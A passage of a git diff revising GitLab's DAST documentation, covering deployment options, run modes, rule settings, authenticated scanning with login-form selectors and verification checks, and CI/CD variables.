-- Vertically scaling the runner and using a higher number of browsers with [variable](#available-variables) `DAST_BROWSER_NUMBER_OF_BROWSERS`. The default is `3`. +- Limit the number of actions executed by the browser with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_ACTIONS`. The default is `10,000`. +- Limit the page depth that the browser-based crawler will check coverage on with the [variable](#available-cicd-variables) `DAST_BROWSER_MAX_DEPTH`. The crawler uses a breadth-first search strategy, so pages with smaller depth are crawled first. The default is `10`. +- Vertically scaling the runner and using a higher number of browsers with [variable](#available-cicd-variables) `DAST_BROWSER_NUMBER_OF_BROWSERS`. The default is `3`. ## Debugging scans using logging @@ -116,10 +98,11 @@ For example, the following job definition enables the browsing module and the au include: - template: DAST.gitlab-ci.yml -variables: - DAST_WEBSITE: "https://my.site.com" - DAST_BROWSER_SCAN: "true" - DAST_BROWSER_LOG: "brows:debug,auth:debug" +dast: + variables: + DAST_WEBSITE: "https://my.site.com" + DAST_BROWSER_SCAN: "true" + DAST_BROWSER_LOG: "brows:debug,auth:debug" ``` ### Log message format diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png Binary files differnew file mode 100644 index 00000000000..132c9f9c991 --- /dev/null +++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_highlight.png diff --git a/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png Binary files differnew file mode 100644 index 00000000000..4e1dca626bc --- /dev/null +++ b/doc/user/application_security/dast/img/dast_auth_browser_scan_search_elements.png diff --git a/doc/user/application_security/dast/img/dast_auth_report.jpg b/doc/user/application_security/dast/img/dast_auth_report.jpg Binary files differnew file mode 100644 index 00000000000..5d9d98045ef --- /dev/null +++ b/doc/user/application_security/dast/img/dast_auth_report.jpg diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 1093e7cfabd..675d01373d4 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -16,40 +16,161 @@ Dynamic Application Security Testing (DAST) examines applications for vulnerabilities like these in deployed environments. DAST uses the open source tool [OWASP Zed Attack Proxy](https://www.zaproxy.org/) for analysis. +After DAST creates its report, GitLab evaluates it for discovered +vulnerabilities between the source and target branches. Relevant +findings are noted in the merge request. + +The comparison logic uses only the latest pipeline executed for the target +branch's base commit. Running the pipeline on other commits has no effect on +the merge request. + NOTE: To learn how four of the top six attacks were application-based and how to protect your organization, download our ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) whitepaper. -You can use DAST to examine your web applications: +## DAST application analysis -- When initiated by a merge request, running as CI/CD pipeline job. -- On demand, outside the CI/CD pipeline. +DAST can analyze applications in two ways: -After DAST creates its report, GitLab evaluates it for discovered -vulnerabilities between the source and target branches. Relevant -findings are noted in the merge request. +- Passive scan only (DAST default). DAST executes + [ZAP's Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and doesn't + actively attack your application. +- Passive and active scan. DAST can be [configured](#full-scan) to also perform an active scan + to attack your application and produce a more extensive security report. It can be very + useful when combined with [Review Apps](../../../ci/review_apps/index.md). -The comparison logic uses only the latest pipeline executed for the target -branch's base commit. Running the pipeline on other commits has no effect on -the merge request. +NOTE: +A pipeline may consist of multiple jobs, including SAST and DAST scanning. If any job +fails to finish for any reason, the security dashboard doesn't show DAST scanner output. For +example, if the DAST job finishes but the SAST job fails, the security dashboard doesn't show DAST +results. On failure, the analyzer outputs an +[exit code](../../../development/integrations/secure.md#exit-code). -## Prerequisite +## Prerequisites -To use DAST, ensure you're using GitLab Runner with the +- [GitLab Runner](../../../ci/runners/README.md) available, with the [`docker` executor](https://docs.gitlab.com/runner/executors/docker.html). +- Target application deployed. For more details, read [Deployment options](#deployment-options). + +### Deployment options + +Depending on the complexity of the target application, there are a few options as to how to deploy and configure +the DAST template. We provided a set of example applications with their configurations in our +[DAST demonstrations](https://gitlab.com/gitlab-org/security-products/demos/dast/) project. + +#### Review Apps + +Review Apps are the most involved method of deploying your DAST target application. To assist in the process, +we created a Review App deployment using Google Kubernetes Engine (GKE). This example can be found in our +[Review Apps - GKE](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke) project, along with detailed +instructions in the [README.md](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke/-/blob/master/README.md) +on how to configure Review Apps for DAST. + +#### Docker Services + +If your application utilizes Docker containers you have another option for deploying and scanning with DAST. +After your Docker build job completes and your image is added to your container registry, you can use the image as a +[service](../../../ci/services/index.md). + +By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer. + +```yaml +stages: + - build + - dast + +include: + - template: DAST.gitlab-ci.yml + +# Deploys the container to the GitLab container registry +deploy: + services: + - name: docker:dind + alias: dind + image: docker:19.03.5 + stage: build + script: + - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY + - docker pull $CI_REGISTRY_IMAGE:latest || true + - docker build --tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA --tag $CI_REGISTRY_IMAGE:latest . + - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA + - docker push $CI_REGISTRY_IMAGE:latest + +services: # use services to link your app container to the dast job + - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA + alias: yourapp + +variables: + DAST_FULL_SCAN_ENABLED: "true" # do a full scan + DAST_ZAP_USE_AJAX_SPIDER: "true" # use the ajax spider +``` + +Most applications depend on multiple services such as databases or caching services. By default, services defined in the services fields cannot communicate +with each another. To allow communication between services, enable the `FF_NETWORK_PER_BUILD` [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags). + +```yaml +variables: + FF_NETWORK_PER_BUILD: "true" # enable network per build so all services can communicate on the same network + +services: # use services to link the container to the dast job + - name: mongo:latest + alias: mongo + - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA + alias: yourapp +``` + +## DAST run options + +You can use DAST to examine your web application: + +- Automatically, initiated by a merge request. +- Manually, initiated on demand. + +Some of the differences between these run options: -## Enable DAST +| Automatic scan | On-demand scan | +|:-----------------------------------------------------------------|:------------------------------| +| DAST scan is initiated by a merge request. | DAST scan is initiated manually, outside the DevOps life cycle. | +| CI/CD variables are sourced from `.gitlab-ci.yml`. | CI/CD variables are provided in the UI. | +| All [DAST CI/CD variables](#available-cicd-variables) available. | Subset of [DAST CI/CD variables](#available-cicd-variables) available. | +| `DAST.gitlab-ci.yml` template. | `DAST-On-Demand-Scan.gitlab-ci.yml` template. | -To enable DAST, either: +### Enable automatic DAST run + +To enable DAST to run automatically, either: - Enable [Auto DAST](../../../topics/autodevops/stages.md#auto-dast) (provided by [Auto DevOps](../../../topics/autodevops/index.md)). -- Manually [include the DAST template](#include-the-dast-template) in your existing +- [Include the DAST template](#include-the-dast-template) in your existing `.gitlab-ci.yml` file. -### Include the DAST template +### DAST job order + +When using the `DAST.gitlab-ci.yml` template, the `dast` stage is run last as shown in +the example below. To ensure DAST scans the latest code, deploy your application +in a stage before the `dast` stage. + +```yaml + stages: + - build + - test + - deploy + - dast +``` + +Be aware that if your pipeline is configured to deploy to the same webserver in +each run, running a pipeline while another is still running could cause a race condition +where one pipeline overwrites the code from another pipeline. The site to be scanned +should be excluded from changes for the duration of a DAST scan. +The only changes to the site should be from the DAST scanner. Be aware that any +changes that users, scheduled tasks, database changes, code changes, other pipelines, or other scanners make to +the site during a scan could lead to inaccurate results. + +#### Include the DAST template + +> This template was [updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62597) to DAST_VERSION: 2 in GitLab 14.0. If you want to manually add DAST to your application, the DAST job is defined in a CI/CD template file. Updates to the template are provided with GitLab @@ -59,7 +180,7 @@ To include the DAST template: 1. Select the CI/CD template you want to use: - - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml): + - [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml): Stable version of the DAST CI/CD template. - [`DAST.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml): Latest version of the DAST template. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254325) @@ -119,7 +240,7 @@ To include the DAST template: ``` You can see an example of this in our - [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) + [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) file. The included template creates a `dast` job in your CI/CD pipeline and scans @@ -146,182 +267,12 @@ page. #### Crawling web applications dependent on JavaScript -GitLab has released a new browser-based crawler, an add-on to DAST that uses a browser to crawl web applications for content. This crawler replaces the standard DAST Spider and Ajax Crawler. +GitLab has released a new browser-based crawler, an add-on to DAST that uses a browser to crawl web applications for content. This crawler replaces the standard DAST Spider and Ajax Crawler, and uses the same authentication mechanisms as a normal DAST scan. The browser-based crawler crawls websites by browsing web pages as a user would. This approach works well with web applications that make heavy use of JavaScript, such as Single Page Applications. For more details, including setup instructions, see [DAST browser-based crawler](browser_based.md). -## Deployment options - -Depending on the complexity of the target application, there are a few options as to how to deploy and configure -the DAST template. A set of example applications with their configurations have been made available in our -[DAST demonstrations](https://gitlab.com/gitlab-org/security-products/demos/dast/) project. - -### Review Apps - -Review Apps are the most involved method of deploying your DAST target application. To assist in the process, -we created a Review App deployment using Google Kubernetes Engine (GKE). This example can be found in our -[Review Apps - GKE](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke) project along with detailed -instructions in the [README.md](https://gitlab.com/gitlab-org/security-products/demos/dast/review-app-gke/-/blob/master/README.md) -on how to configure Review Apps for DAST. - -### Docker Services - -If your application utilizes Docker containers you have another option for deploying and scanning with DAST. -After your Docker build job completes and your image is added to your container registry, you can utilize the image as a -[service](../../../ci/services/index.md). - -By using service definitions in your `gitlab-ci.yml`, you can scan services with the DAST analyzer. - -```yaml -stages: - - build - - dast - -include: - - template: DAST.gitlab-ci.yml - -# Deploys the container to the GitLab container registry -deploy: - services: - - name: docker:dind - alias: dind - image: docker:19.03.5 - stage: build - script: - - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY - - docker pull $CI_REGISTRY_IMAGE:latest || true - - docker build --tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA --tag $CI_REGISTRY_IMAGE:latest . - - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA - - docker push $CI_REGISTRY_IMAGE:latest - -services: # use services to link your app container to the dast job - - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA - alias: yourapp - -variables: - DAST_FULL_SCAN_ENABLED: "true" # do a full scan - DAST_ZAP_USE_AJAX_SPIDER: "true" # use the ajax spider -``` - -Most applications depend on multiple services such as databases or caching services. By default, services defined in the services fields cannot communicate -with each another. To allow communication between services, enable the `FF_NETWORK_PER_BUILD` [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags). - -```yaml -variables: - FF_NETWORK_PER_BUILD: "true" # enable network per build so all services can communicate on the same network - -services: # use services to link the container to the dast job - - name: mongo:latest - alias: mongo - - name: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA - alias: yourapp -``` - -### DAST application analysis - -DAST can analyze applications in two ways: - -- Passive scan only (DAST default). DAST executes - [ZAP's Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and doesn't - actively attack your application. -- Passive and active scan. DAST can be [configured](#full-scan) to also perform an active scan - to attack your application and produce a more extensive security report. It can be very - useful when combined with [Review Apps](../../../ci/review_apps/index.md). - -Note that a pipeline may consist of multiple jobs, including SAST and DAST scanning. If any job -fails to finish for any reason, the security dashboard doesn't show DAST scanner output. For -example, if the DAST job finishes but the SAST job fails, the security dashboard doesn't show DAST -results. On failure, the analyzer outputs an -[exit code](../../../development/integrations/secure.md#exit-code). - -#### DAST job order - -When using the `DAST.gitlab-ci.yml` template, the `dast` job is run last as shown in -the example below. To ensure DAST is scanning the latest code, your CI pipeline -should deploy changes to the web server in one of the jobs preceding the `dast` job. - -```yaml -stages: - - build - - test - - deploy - - dast -``` - -Be aware that if your pipeline is configured to deploy to the same webserver in -each run, running a pipeline while another is still running could cause a race condition -where one pipeline overwrites the code from another pipeline. The site to be scanned -should be excluded from changes for the duration of a DAST scan. -The only changes to the site should be from the DAST scanner. Be aware that any -changes that users, scheduled tasks, database changes, code changes, other pipelines, or other scanners make to -the site during a scan could lead to inaccurate results. - -### Hide sensitive information - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36332) in GitLab 13.1. - -HTTP request and response headers may contain sensitive information, including cookies and -authorization credentials. By default, the following headers are masked: - -- `Authorization`. -- `Proxy-Authorization`. -- `Set-Cookie` (values only). -- `Cookie` (values only). - -Using the [`DAST_MASK_HTTP_HEADERS` CI/CD variable](#available-variables), you can list the -headers whose values you want masked. For details on how to mask headers, see -[Customizing the DAST settings](#customizing-the-dast-settings). - -### Authentication - -It's also possible to authenticate the user before performing the DAST checks. - -NOTE: -We highly recommended that you configure the scanner to authenticate to the application, -otherwise it cannot check most of the application for security risks, as most -of your application is likely not accessible without authentication. It is also recommended -that you periodically confirm the scanner's authentication is still working as this tends to break over -time due to authentication changes to the application. - -Create masked CI/CD variables to pass the credentials that DAST uses. -To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables). -Note that the key of the username variable must be `DAST_USERNAME` -and the key of the password variable must be `DAST_PASSWORD`. - -After DAST has authenticated with the application, all cookies are collected from the web browser. -For each cookie a matching session token is created for use by ZAP. This ensures ZAP is recognized -by the application as correctly authenticated. - -Other variables that are related to authenticated scans are: - -```yaml -include: - - template: DAST.gitlab-ci.yml - -variables: - DAST_WEBSITE: https://example.com - DAST_AUTH_URL: https://example.com/sign-in - DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form - DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form - DAST_SUBMIT_FIELD: login # the `id` or `name` of the element that when clicked will submit the login form or the password form of a multi-page login process - DAST_FIRST_SUBMIT_FIELD: next # the `id` or `name` of the element that when clicked will submit the username form of a multi-page login process - DAST_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between - DAST_AUTH_VERIFICATION_URL: http://example.com/loggedin_page # optional, a URL only accessible to logged in users that DAST can use to confirm successful authentication -``` - -The results are saved as a -[DAST report artifact](../../../ci/yaml/README.md#artifactsreportsdast) -that you can later download and analyze. -Due to implementation limitations, we always take the latest DAST artifact available. - -WARNING: -**NEVER** run an authenticated scan against a production server. When an authenticated -scan is run, it may perform *any* function that the authenticated user can. This -includes actions like modifying and deleting data, submitting forms, and following links. -Only run an authenticated scan against a test server. - ### Full scan DAST can be configured to perform [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan), which @@ -338,126 +289,6 @@ variables: If your DAST job exceeds the job timeout and you need to reduce the scan duration, we shared some tips for optimizing DAST scans in a [blog post](https://about.gitlab.com/blog/2020/08/31/how-to-configure-dast-full-scans-for-complex-web-applications/). -#### Domain validation - -WARNING: -In GitLab 13.8, domain validation, outside of the new on-demand scan site profile validation, was deprecated. In GitLab 14.0, domain validation in CI/CD jobs will be permanently removed. - -The DAST job can be run anywhere, which means you can accidentally hit live web servers -and potentially damage them. You could even take down your production environment. -For that reason, you should use domain validation. - -Domain validation is not required by default. It can be required by setting the -[CI/CD variable](#available-variables) `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` to `"true"`. - -```yaml -include: - - template: DAST.gitlab-ci.yml - -variables: - DAST_FULL_SCAN_ENABLED: "true" - DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED: "true" -``` - -Since ZAP full scan actively attacks the target application, DAST sends a ping -to the target (normally defined in `DAST_WEBSITE` or `environment_url.txt`) beforehand. - -- If `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` is `false` or unset, the scan - proceeds unless the response to the ping includes a `Gitlab-DAST-Permission` - header with a value of `deny`. -- If `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` is `true`, the scan exits - unless the response to the ping includes a `Gitlab-DAST-Permission` header with - a value of `allow`. - -Here are some examples of adding the `Gitlab-DAST-Permission` header to a response -in Rails, Django, and Node (with Express). - -##### Ruby on Rails - -Here's how you would add a -[custom header in Ruby on Rails](https://guides.rubyonrails.org/action_controller_overview.html#setting-custom-headers): - -```ruby -class DastWebsiteTargetController < ActionController::Base - def dast_website_target - response.headers['Gitlab-DAST-Permission'] = 'allow' - - head :ok - end -end -``` - -##### Django - -Here's how you would add a -[custom header in Django](https://docs.djangoproject.com/en/2.2/ref/request-response/#setting-header-fields): - -```python -class DastWebsiteTargetView(View): - def head(self, *args, **kwargs): - response = HttpResponse() - response['Gitlab-Dast-Permission'] = 'allow' - - return response -``` - -##### Node (with Express) - -Here's how you would add a -[custom header in Node (with Express)](http://expressjs.com/en/5x/api.html#res.append): - -```javascript -app.get('/dast-website-target', function(req, res) { - res.append('Gitlab-DAST-Permission', 'allow') - res.send('Respond to DAST ping') -}) -``` - -##### Domain validation header via a proxy - -It's also possible to add the `Gitlab-DAST-Permission` header via a proxy. - -###### NGINX - -The following configuration allows NGINX to act as a reverse proxy and add the -`Gitlab-DAST-Permission` [header](http://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header): - -```nginx -# default.conf -server { - listen 80; - server_name localhost; - - location / { - proxy_pass http://test-application; - add_header Gitlab-DAST-Permission allow; - } -} -``` - -###### Apache - -Apache can also be used as a [reverse proxy](https://httpd.apache.org/docs/2.4/mod/mod_proxy.html) -to add the `Gitlab-DAST-Permission` [header](https://httpd.apache.org/docs/current/mod/mod_headers.html). - -To do so, add the following lines to `httpd.conf`: - -```plaintext -# httpd.conf -LoadModule proxy_module modules/mod_proxy.so -LoadModule proxy_connect_module modules/mod_proxy_connect.so -LoadModule proxy_http_module modules/mod_proxy_http.so - -<VirtualHost *:80> - ProxyPass "/" "http://test-application.com/" - ProxyPassReverse "/" "http://test-application.com/" - Header set Gitlab-DAST-Permission "allow" -</VirtualHost> -``` - -[This snippet](https://gitlab.com/gitlab-org/security-products/dast/snippets/1894732) contains a complete `httpd.conf` file -configured to act as a remote proxy and add the `Gitlab-DAST-Permission` header. - ### API scan > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10928) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. @@ -661,7 +492,7 @@ is no longer supported. When overriding the template, you must use [`rules`](../ The DAST settings can be changed through CI/CD variables by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. -These variables are documented in [available variables](#available-variables). +These variables are documented in [available variables](#available-cicd-variables). For example: @@ -677,47 +508,296 @@ variables: Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline configuration, the last mention of the variable takes precedence. -### Available variables +#### Enabling and disabling rules + +A complete list of the rules that DAST uses to scan for vulnerabilities can be +found in the [ZAP docs](https://www.zaproxy.org/docs/alerts/). + +`DAST_EXCLUDE_RULES` disables the rules with the given IDs. + +`DAST_ONLY_INCLUDE_RULES` restricts the set of rules used in the scan to +those with the given IDs. + +`DAST_EXCLUDE_RULES` and `DAST_ONLY_INCLUDE_RULES` are mutually exclusive and a +DAST scan with both configured exits with an error. + +By default, several rules are disabled because they either take a long time to +run or frequently generate false positives. The complete list of disabled rules +can be found in [exclude_rules.yml](https://gitlab.com/gitlab-org/security-products/dast/-/blob/master/src/config/exclude_rules.yml). + +### Hide sensitive information + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36332) in GitLab 13.1. + +HTTP request and response headers may contain sensitive information, including cookies and +authorization credentials. By default, the following headers are masked: + +- `Authorization`. +- `Proxy-Authorization`. +- `Set-Cookie` (values only). +- `Cookie` (values only). + +Using the [`DAST_MASK_HTTP_HEADERS` CI/CD variable](#available-cicd-variables), you can list the +headers whose values you want masked. For details on how to mask headers, see +[Customizing the DAST settings](#customizing-the-dast-settings). + +## Authentication + +NOTE: +We highly recommend you configure the scanner to authenticate to the application. If you don't, it cannot check most of the application for security risks, as most +of your application is likely not accessible without authentication. We also recommend +you periodically confirm the scanner's authentication is still working, as this tends to break over +time due to authentication changes to the application. + +Create masked CI/CD variables to pass the credentials that DAST uses. +To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables). +The key of the username variable must be `DAST_USERNAME`, +and the key of the password variable must be `DAST_PASSWORD`. + +After DAST has authenticated with the application, all cookies are collected from the web browser. +For each cookie a matching session token is created for use by ZAP. This ensures ZAP is recognized +by the application as correctly authenticated. + +Authentication supports single form logins, multi-step login forms, and authenticating to URLs outside of the configured target URL. + +Variables that are related to authenticated scans are: + +```yaml +include: + - template: DAST.gitlab-ci.yml + +dast: + variables: + DAST_WEBSITE: "https://example.com" + DAST_AUTH_URL: "https://login.example.com/" + DAST_USERNAME: "admin" + DAST_PASSWORD: "P@55w0rd!" + DAST_USERNAME_FIELD: "name:username" # a selector describing the element containing the username field at the sign-in HTML form + DAST_PASSWORD_FIELD: "id:password" # a selector describing the element containing the password field at the sign-in HTML form + DAST_FIRST_SUBMIT_FIELD: "css:button[type='user-submit']" # optional, the selector of the element that when clicked will submit the username form of a multi-page login process + DAST_SUBMIT_FIELD: "css:button[type='submit']" # the selector of the element that when clicked will submit the login form or the password form of a multi-page login process + DAST_EXCLUDE_URLS: "http://example.com/sign-out" # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between + DAST_AUTH_VERIFICATION_URL: "http://example.com/loggedin_page" # optional, used to verify authentication is successful by expecting this URL once the login form has been submitted + DAST_AUTH_VERIFICATION_SELECTOR: "css:.user-profile" # optional, used to verify authentication is successful by expecting a selector to be present on the page once the login form has been submitted + DAST_AUTH_VERIFICATION_LOGIN_FORM: "true" # optional, used to verify authentication is successful by ensuring there are no login forms on the page once the login form has been submitted + DAST_AUTH_REPORT: "true" # optionally output an authentication debug report +``` + +WARNING: +**NEVER** run an authenticated scan against a production server. When an authenticated +scan is run, it may perform *any* function that the authenticated user can. This +includes actions like modifying and deleting data, submitting forms, and following links. +Only run an authenticated scan against a test server. + +### Log in using automatic detection of the login form + +By providing a `DAST_USERNAME`, `DAST_PASSWORD`, and `DAST_AUTH_URL`, DAST will attempt to authenticate to the +target application by locating the login form based on a determination about whether or not the form contains username or password fields. + +Automatic detection is "best-effort", and depending on the application being scanned may provide either a resilient login experience or one that fails to authenticate the user. + +Login process: + +1. The `DAST_AUTH_URL` is loaded into the browser, and any forms on the page are located. + 1. If a form contains a username and password field, `DAST_USERNAME` and `DAST_PASSWORD` is inputted into the respective fields, the form submit button is clicked and the user is logged in. + 1. If a form contains only a username field, it is assumed that the login form is multi-step. + 1. The `DAST_USERNAME` is inputted into the username field and the form submit button is clicked. + 1. The subsequent pages loads where it is expected that a form exists and contains a password field. If found, `DAST_PASSWORD` is inputted, form submit button is clicked and the user is logged in. + +### Log in using explicit selection of the login form + +By providing a `DAST_USERNAME_FIELD`, `DAST_PASSWORD_FIELD`, and `DAST_SUBMIT_FIELD`, in addition to the fields required for automatic login, +DAST will attempt to authenticate to the target application by locating the login form based on the selectors provided. +Most applications will benefit from this approach to authentication. + +Login process: + +1. The `DAST_AUTH_URL` is loaded into the browser, and any forms on the page are located. + 1. If the `DAST_FIRST_SUBMIT_FIELD` is not defined, then `DAST_USERNAME` is inputted into `DAST_USERNAME_FIELD`, `DAST_PASSWORD` is inputted into `DAST_PASSWORD_FIELD`, `DAST_SUBMIT_FIELD` is clicked and the user is logged in. + 1. If the `DAST_FIRST_SUBMIT_FIELD` is defined, then it is assumed that the login form is multi-step. + 1. The `DAST_USERNAME` is inputted into the `DAST_USERNAME_FIELD` field and the `DAST_FIRST_SUBMIT_FIELD` is clicked. + 1. The subsequent pages loads where the `DAST_PASSWORD` is inputted into the `DAST_PASSWORD_FIELD` field, the `DAST_SUBMIT_FIELD` is clicked and the user is logged in. + +### Verifying successful login + +Once the login form has been submitted, DAST determines if the login was successful. Unsuccessful attempts at authentication cause the scan to halt. + +Following the submission of the login form, authentication is determined to be unsuccessful when: + +- A `400` or `500` series HTTP response status code is returned. +- A new cookie/browser storage value determined to be sufficiently random has not been set. + +In addition to these checks, the user can configure their own verification checks. +Each of the following checks can be used in conjunction with one another, if none are configured by default the presence of a login form is checked. + +#### Verifying based on the URL + +When `DAST_AUTH_VERIFICATION_URL` is configured, the URL displayed in the browser tab post login form submission is directly compared to the URL in the CI/CD variable. +If these are not exactly the same, authentication is deemed to be unsuccessful. + +For example: + +```yaml +include: + - template: DAST.gitlab-ci.yml + +dast: + variables: + DAST_WEBSITE: "https://example.com" + ... + DAST_AUTH_VERIFICATION_URL: "https://example.com/user/welcome" +``` + +#### Verify based on presence of an element + +When `DAST_AUTH_VERIFICATION_SELECTOR` is configured, the page displayed in the browser tab is searched for an element described by the selector in the CI/CD variable. +If no element is found, authentication is deemed to be unsuccessful. + +For example: + +```yaml +include: + - template: DAST.gitlab-ci.yml + +dast: + variables: + DAST_WEBSITE: "https://example.com" + ... + DAST_AUTH_VERIFICATION_SELECTOR: "css:.welcome-user" +``` + +#### Verify based on presence of a login form + +When `DAST_AUTH_VERIFICATION_LOGIN_FORM` is configured, the page displayed in the browser tab is searched for a form that is detected to be a login form. +If any such form is found, authentication is deemed to be unsuccessful. + +For example: + +```yaml +include: + - template: DAST.gitlab-ci.yml + +dast: + variables: + DAST_WEBSITE: "https://example.com" + ... + DAST_AUTH_VERIFICATION_LOGIN_FORM: "true" +``` + +### Configure the authentication debug output + +It is often difficult to understand the cause of an authentication failure when running DAST in a CI/CD pipeline. +To assist users in debugging authentication issues, a debug report can be generated and saved as a job artifact. +This HTML report contains all steps made during the login process, along with HTTP requests and responses, the Document Object Model (DOM) and screenshots. + + + +An example configuration where the authentication debug report is exported may look like the following: + +```yaml +dast: + variables: + DAST_WEBSITE: "https://example.com" + ... + DAST_AUTH_REPORT: "true" + artifacts: + paths: [gl-dast-debug-auth-report.html] +``` + +### Available CI/CD variables DAST can be [configured](#customizing-the-dast-settings) using CI/CD variables. -| CI/CD variable | Type | Description | -|------------------------------| --------|-------------| -| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | -| `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. | -| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | -| `DAST_API_SPECIFICATION` | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | -| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | -| `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | -| `DAST_AUTH_VERIFICATION_URL` | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST will exit if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. -| `DAST_USERNAME` | string | The username to authenticate to in the website. | -| `DAST_PASSWORD` | string | The password to authenticate to in the website. | -| `DAST_USERNAME_FIELD` | string | The name of username field at the sign-in HTML form. | -| `DAST_PASSWORD_FIELD` | string | The name of password field at the sign-in HTML form. | -| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. | -| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | -| `DAST_EXCLUDE_URLS` | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | -| `DAST_FULL_SCAN_ENABLED` | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | -| `DAST_FULL_SCAN_DOMAIN_VALIDATION_REQUIRED` | boolean | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/293595) in GitLab 13.8, to be removed in 14.0. Set to `true` to require [domain validation](#domain-validation) when running DAST full scans. Not supported for API scans. Default: `false` | -| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | -| `DAST_API_HOST_OVERRIDE` | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. 